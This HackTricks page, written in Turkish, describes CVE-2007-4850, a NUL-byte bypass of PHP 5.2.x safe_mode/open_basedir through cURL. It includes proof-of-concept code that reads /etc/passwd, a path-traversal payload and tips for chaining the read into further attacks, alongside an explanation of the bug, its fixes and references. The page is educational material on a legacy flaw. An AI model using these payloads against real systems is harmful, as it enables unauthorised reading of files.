PHP 5.2.4 and 5.2.5 PHP cURL
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu sayfa, belirli PHP 5.2.x derlemelerinde cURL uzantısını kullanarak PHP safe_mode/open_basedir kontrollerini atlatmak için, CTF’lerde veya yerel eski kurulumlarda hâlâ kullanışlı olan eski bir yöntemi belgeler.
- Etkilenenler: PHP 5.2.4 ve 5.2.5 (ext/curl etkin).
- Etkisi: safe_mode veya open_basedir kısıtlamalarına rağmen rastgele yerel dosyaları okumak (doğrudan kod çalıştırma yok).
- ID: CVE-2007-4850.
Kaynak: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
Tek satırlık PoC
Eğer safe_mode veya open_basedir etkinse ve cURL etkinleştirilmişse, aşağıdakiler mevcut betiğin içeriğini döndürecektir:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Daha açık PoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Notlar:
- Gerçek bir NUL byte’ı enjekte etmek için çift tırnak veya chr(0) kullanın. Percent-encoding (%00) güvenilir şekilde çalışmaz.
- Bu bir file read primitive’dir. Mümkün olduğunda daha fazla yükseltme için diğer primitiflerle (log poisoning, session file inclusion, vb.) birleştirin.
Neden çalışır (kısa)
Zafiyet, PHP 5.2.4/5.2.5’in ext/curl içinde file:// URL’leri için safe_mode/open_basedir kontrollerini nasıl uyguladığıyla ilgilidir. Kontrol URL’yi parse etti ve bir path bileşenini doğruladı, fakat NUL-byte işleme nedeniyle doğrulayıcı, libcurl’ün gerçekten kullandığından farklı bir dizeyi doğruladı. Pratikte, doğrulayıcı NUL’dan sonraki yolu onaylarken libcurl NUL’dan önceki kısmı URL konteyneri olarak kullandı; bu da NUL byte’tan sonra yerleştirilen dosyanın okunmasına yol açan bir atlamaya izin verdi. Detaylar için orijinal analiz ve curl/interface.c’deki etkilenen makroya bakın. [CVE-2007-4850].
Kısıtlamalar ve düzeltmeler
- ext/curl’deki parsing/doğrulama düzeltilerek daha sonraki 5.2.x sürümlerinde (ör. distro paketlerinin 5.2.6’ya yamalanmış halleri) düzeltildi.
- Sadece çok eski PHP dağıtımlarını etkiler; safe_mode PHP 5.4’te kaldırıldı ve modern derlemeler bu davranışı göstermez.
İlgili tarihsel cURL tabanlı bypass’lar
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers gömülü NUL’lü
file://erişimine izin vererek open_basedir’i atlatabiliyordu; 5.2.x öncesinde düzeltildi. - PHP bug’ları #30609/#36223,
file://kullanarak kanonikleştirme olmadan erken cURL open_basedir sorunlarını takip etti. NUL byte’tan önce yapılan herhangi bir kontrol veyarealpathtarzı çözümleme olmadan yapılan kontrol aynı kesilmeye (truncation) yatkındır.
CTF ipuçları
- ext/curl yüklü PHP 5.2.4/5.2.5’i tespit ettiğinizde (doğru
PHP Versionvephpinfo()içindecURL support => enabledarayın), ext/curlfile://ile kendisi ilgilendiği için genellikleallow_url_fopendevre dışı olsa bile bu hile çalışır. - Doğrudan yollar engelliyse, NUL’dan sonra göreli traversal deneyin, örn.
file://x\x00../../../../etc/passwd. Traversal libcurl tarafından çözülür, open_basedir gardı tarafından değil. - Kullanıcı kontrollü URL’leri
curl_exec()içine yansıtan zafiyetli sunucu tarafı kod üzerinden LFI’yi tetiklemek için payload’u tek bir HTTP istek gövdesi içinde sarabilirsiniz (common in legacy SSRF-like endpoints).
See also
Diğer disable_functions/open_basedir bypass’ları ve modern teknikler burada toplanmıştır:
Referanslar
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


